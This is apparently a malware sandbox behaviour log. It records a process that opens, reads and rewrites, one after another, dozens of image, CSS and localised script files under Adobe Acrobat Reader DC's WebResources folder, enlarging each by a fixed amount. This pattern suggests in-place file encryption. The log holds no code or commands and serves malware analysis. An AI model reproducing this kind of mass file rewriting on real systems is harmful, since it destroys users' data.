File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\rhp_world_icon_hover.png, size = 1804	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\plugin.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\plugin.js, size = 941, size_out = 941	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\js\plugin.js, size = 2357	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\new_icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\new_icons.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\new_icons.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\images\new_icons.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\de-de\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\de-de\ui-strings.js, size = 932, size_out = 932	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\de-de\ui-strings.js, size = 2348	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\root\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\root\ui-strings.js, size = 931, size_out = 931	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\home\js\nls\root\ui-strings.js, size = 2347	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\icons.png, size = 8063, size_out = 8063	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\icons.png, size = 9479	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\icons.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\icons.png, size = 8063, size_out = 8063	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\images\themes\dark\icons.png, size = 9479	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\da-dk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\da-dk\ui-strings.js, size = 1351, size_out = 1351	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\da-dk\ui-strings.js, size = 2767	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\he-il\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\he-il\ui-strings.js, size = 1240, size_out = 1240	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\he-il\ui-strings.js, size = 2656	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ro-ro\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ro-ro\ui-strings.js, size = 1390, size_out = 1390	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\ro-ro\ui-strings.js, size = 2806	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\zh-cn\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\zh-cn\ui-strings.js, size = 1384, size_out = 1384	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer\js\nls\zh-cn\ui-strings.js, size = 2800	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\en-ae\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\en-ae\ui-strings.js, size = 850, size_out = 850	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\en-ae\ui-strings.js, size = 2266	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\it-it\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\it-it\ui-strings.js, size = 850, size_out = 850	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\it-it\ui-strings.js, size = 2266	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\sk-sk\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\sk-sk\ui-strings.js, size = 852, size_out = 852	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-computer-select\js\nls\sk-sk\ui-strings.js, size = 2268	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\css\main-selector.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\css\main-selector.css, size = 802, size_out = 802	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\css\main-selector.css, size = 2218	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\new_icons_retina.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\new_icons_retina.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\new_icons_retina.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\new_icons_retina.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ca-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ca-es\ui-strings.js, size = 1063, size_out = 1063	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\ca-es\ui-strings.js, size = 2479	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\fr-fr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\fr-fr\ui-strings.js, size = 1078, size_out = 1078	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\fr-fr\ui-strings.js, size = 2494	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\pt-br\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\pt-br\ui-strings.js, size = 1062, size_out = 1062	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\pt-br\ui-strings.js, size = 2478	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\zh-cn\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\zh-cn\ui-strings.js, size = 1035, size_out = 1035	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\js\nls\zh-cn\ui-strings.js, size = 2451	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\en-il\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\en-il\ui-strings.js, size = 1007, size_out = 1007	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\en-il\ui-strings.js, size = 2423	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ko-kr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ko-kr\ui-strings.js, size = 1036, size_out = 1036	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\ko-kr\ui-strings.js, size = 2452	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\sv-se\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\sv-se\ui-strings.js, size = 1015, size_out = 1015	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\sv-se\ui-strings.js, size = 2431	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\css\main.css, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\css\main.css, size = 6530, size_out = 6530	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\css\main.css, size = 7946	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\es-es\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\es-es\ui-strings.js, size = 4523, size_out = 4523	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\es-es\ui-strings.js, size = 5939	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\nb-no\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\nb-no\ui-strings.js, size = 4261, size_out = 4261	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\nb-no\ui-strings.js, size = 5677	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\tr-tr\ui-strings.js, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\tr-tr\ui-strings.js, size = 4608, size_out = 4608	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\ob-preview\js\nls\tr-tr\ui-strings.js, size = 6024	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\activate-more-tools-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\activate-more-tools-2x.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\activate-more-tools-2x.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\activate-more-tools-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\activate-more-tools-2x.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-mobile-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-mobile-2x.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-mobile-2x.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-mobile-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\beta-mobile-2x.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\combine-files.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\combine-files.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\combine-files.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\combine-files.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fill-sign.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fill-sign.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fill-sign.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fill-sign.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fullscreen.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fullscreen.svg, size = 3880, size_out = 3880	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\fullscreen.svg, size = 5296	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\lets-get-started-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\lets-get-started-2x.png, size = 16384, size_out = 16384	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\lets-get-started-2x.png, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\lets-get-started-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\lets-get-started-2x.png, size = 16384	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\en-us\PlayStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\en-us\PlayStore_icon.svg, size = 5611, size_out = 5611	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\en-us\PlayStore_icon.svg, size = 7027	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ja-jp\PlayStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ja-jp\PlayStore_icon.svg, size = 7408, size_out = 7408	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ja-jp\PlayStore_icon.svg, size = 8824	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ru-ru\AppStore_icon.svg, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ru-ru\AppStore_icon.svg, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ru-ru\AppStore_icon.svg, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\Localized_images\ru-ru\AppStore_icon.svg, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\multi-tab-file-view-2x.png, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\multi-tab-file-view-2x.png, size = 4096, size_out = 4096	2	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\multi-tab-file-view-2x.png, size = 5512	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\multi-tab-file-view-2x.png, size = 4096	1	Fn Data
File	Create	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-es_es.gif, desired_access = GENERIC_WRITE, GENERIC_READ, file_attributes = FILE_ATTRIBUTE_NORMAL, share_mode = FILE_SHARE_READ	1	Fn
Mutex	Release	-	1	Fn
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-es_es.gif, size = 32768, size_out = 32768	1	Fn Data
File	Read	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-es_es.gif, size = 4096, size_out = 4096	1	Fn Data
File	Write	filename = C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\pdf-ownership-rdr-es_es.gif, size = 5512	1	Fn Data
